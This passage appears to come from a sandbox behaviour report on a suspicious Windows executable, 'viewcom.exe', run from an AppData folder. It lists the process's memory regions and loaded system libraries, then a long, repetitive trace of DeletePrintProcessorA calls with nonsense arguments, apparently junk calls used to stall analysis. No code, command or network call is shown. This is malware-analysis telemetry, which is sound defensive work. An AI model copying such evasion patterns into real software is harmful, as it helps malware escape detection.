name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 946
start_va = 0x1a0000
end_va = 0x29ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000001a0000"
filename = ""
Region:
id = 947
start_va = 0x2a0000
end_va = 0x306fff
entry_point = 0x2a0000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 948
start_va = 0x310000
end_va = 0x3d7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000310000"
filename = ""
Region:
id = 949
start_va = 0x580000
end_va = 0x58ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000580000"
filename = ""
Region:
id = 950
start_va = 0x6d400000
end_va = 0x6d450fff
entry_point = 0x6d42988c
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")
Region:
id = 951
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 952
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 953
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 954
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 955
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 956
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 957
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 958
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 959
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 960
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 961
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 962
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 963
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 964
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 965
start_va = 0x140000
end_va = 0x140fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000140000"
filename = ""
Region:
id = 966
start_va = 0x420000
end_va = 0x520fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 967
start_va = 0x590000
end_va = 0x118ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000590000"
filename = ""
Region:
id = 968
start_va = 0x11f0000
end_va = 0x11fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000011f0000"
filename = ""
Region:
id = 969
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 970
start_va = 0x1200000
end_va = 0x12fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001200000"
filename = ""
Region:
id = 971
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 972
start_va = 0x150000
end_va = 0x15dfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000150000"
filename = ""
Region:
id = 973
start_va = 0x160000
end_va = 0x16cfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 974
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 975
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 976
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 977
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 978
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 979
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 980
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 981
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 982
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 983
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 984
start_va = 0x1300000
end_va = 0x15cefff
entry_point = 0x1300000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 985
start_va = 0x170000
end_va = 0x17cfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000170000"
filename = ""
Thread:
id = 45
os_tid = 0xb90
[0061.983] GetCommandLineA () returned="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\""
[0061.983] lstrlenA (lpString="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\"") returned 65
[0061.983] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.996] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.996] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.996] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0061.997] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.000] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.000] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.000] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.000] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.001] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.002] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.003] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.004] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.005] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.006] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.007] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.008] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.009] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.009] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.009] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.009] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.009] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.010] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.010] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.010] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.010] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.011] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.012] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.012] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.015] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.015] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.015] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.015] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.015] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.016] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.017] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.018] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.019] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.020] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.021] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.022] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.023] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.024] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.025] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.026] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.027] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.028] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0062.029] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
